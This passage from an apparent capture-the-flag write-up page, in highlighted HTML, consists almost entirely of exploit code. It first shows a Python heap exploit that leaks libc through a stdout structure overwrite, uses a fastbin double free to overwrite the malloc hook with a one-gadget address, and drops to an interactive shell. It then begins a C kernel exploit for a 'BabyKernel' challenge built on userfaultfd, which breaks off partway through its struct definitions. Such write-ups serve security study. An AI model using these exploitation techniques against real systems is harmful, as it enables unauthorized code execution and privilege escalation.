<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"\x00"</span>*0x33+p64(0xfbad1800)+<span class="hljs-string">"\x00"</span>*0x19)
</span>r.recvuntil(<span class="hljs-string">":"</span>)
data = r.recvuntil(<span class="hljs-string">"="</span>)
libc = u64(data[<span class="hljs-number">8</span>*<span class="hljs-number">8</span>:<span class="hljs-number">9</span>*<span class="hljs-number">8</span>])-<span class="hljs-number">0</span>x3c5600
print hex(libc)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span>
remove(<span class="hljs-number">3</span>)
remove(<span class="hljs-number">4</span>)
remove(<span class="hljs-number">3</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,p64(libc+0x3c4aed))
</span>
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(<span class="hljs-string">"a"</span>,0x60,<span class="hljs-string">"a"</span>*0x13+p64(libc+0xf02a4))
</span>remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">0</span>)
r.interactive()
</code></pre><h3 id="babykernel"><a class="header-link" href="#babykernel"></a>BabyKernel</h3>
<pre class="hljs"><code><span class="hljs-meta">#define _GNU_SOURCE</span>
<span class="hljs-meta">#include <sys/types.h></span>
<span class="hljs-meta">#include <stdio.h></span>
<span class="hljs-meta">#include <pthread.h></span>
<span class="hljs-meta">#include <errno.h></span>
<span class="hljs-meta">#include <unistd.h></span>
<span class="hljs-meta">#include <stdlib.h></span>
<span class="hljs-meta">#include <fcntl.h></span>
<span class="hljs-meta">#include <signal.h></span>
<span class="hljs-meta">#include <poll.h></span>
<span class="hljs-meta">#include <string.h></span>
<span class="hljs-meta">#include <sys/mman.h></span>
<span class="hljs-meta">#include <sys/syscall.h></span>
<span class="hljs-meta">#include <sys/ioctl.h></span>
<span class="hljs-meta">#include <poll.h></span>
<span class="hljs-meta">#include <stdint.h></span>
<span class="hljs-meta">#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \</span>
} <span class="hljs-keyword">while</span> (<span class="hljs-number">0</span>)
<span class="hljs-meta">#define __u64 uint64_t</span>
<span class="hljs-meta">#define __u32 uint32_t</span>
<span class="hljs-meta">#define __u16 uint16_t</span>
<span class="hljs-meta">#define __u8 uint8_t</span>
<span class="hljs-meta">#define __s64 int64_t</span>
<span class="hljs-meta">#define UFFDIO_API 0xc018aa3f</span>
<span class="hljs-meta">#define UFFDIO_REGISTER 0xc020aa00</span>
<span class="hljs-meta">#define UFFDIO_COPY 0xc028aa03</span>
<span class="hljs-meta">#define UFFD_API ((__u64)0xAA) </span>
<span class="hljs-meta">#define __NR_userfaultfd 323 </span>
<span class="hljs-keyword">struct</span> uffdio_range {
__u64 start;
__u64 len;
};
<span class="hljs-keyword">struct</span> uffdio_copy {
__u64 dst;
__u64 src;
__u64 len;
<span class="hljs-meta">#define UFFDIO_COPY_MODE_DONTWAKE ((__u64)1<<0)</span>
__u64 mode;
__s64 copy;
};
<span class="hljs-keyword">struct</span> uffd_msg {
__u8 event;
__u8 reserved1;
__u16 reserved2;
__u32 reserved3;
union {
<span class="hljs-keyword">struct</span> {
__u64 flags;
__u64 address;
union {
__u32 ptid;
} feat;
} pagefault;
<span class="hljs-keyword">struct</span> {
__u32 ufd;
} fork;
<span class="hljs-keyword">struct</span> {
__u64 from;
__u64 to;
__u64 len;
} remap;
<span class="hljs-keyword">struct</span> {
__u64 start;
__u64 end;
} remove;
<span class="hljs-keyword">struct</span> {
<span class="hljs-comment">/* unused reserved fields */</span>